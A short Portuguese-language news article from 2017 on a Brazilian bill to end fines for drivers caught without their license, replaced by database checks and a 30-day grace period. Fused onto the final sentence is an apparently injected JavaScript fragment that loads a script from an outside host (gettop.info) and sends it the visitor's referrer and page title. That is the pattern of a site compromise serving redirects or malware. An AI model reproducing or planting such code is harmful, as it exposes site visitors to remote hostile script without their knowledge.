Câmara aprova fim de multa para quem esquecer carteira de habilitação

BSB Capital 22/06/2017 às 17:49, Atualizado em 18/09/2017 às 21:15

O projeto segue para o Senado, caso não haja recurso para análise do plenário da Câmara

A Comissão de Constituição e Justiça (CCJ) da Câmara dos Deputados aprovou na quarta-feira (21) o fim das multas ao motorista que não estiver portando a carteira de habilitação ou licença do veículo no momento da abordagem de um agente. O projeto segue para o Senado, caso não haja recurso para análise do plenário da Câmara.

Com a proposta da ex-deputada Sandra Rosado e da deputada Keita Ota (PSB-SP), o agente de trânsito terá que obter as informações através do banco de dados oficial na ausência dos documentos.

Caso não seja possível acessar o sistema, o condutor terá 30 dias para levar documento ao órgão de trânsito responsável pela autuação. Fazendo isso a infração é cancelada e o motorista não perde pontos na carteira.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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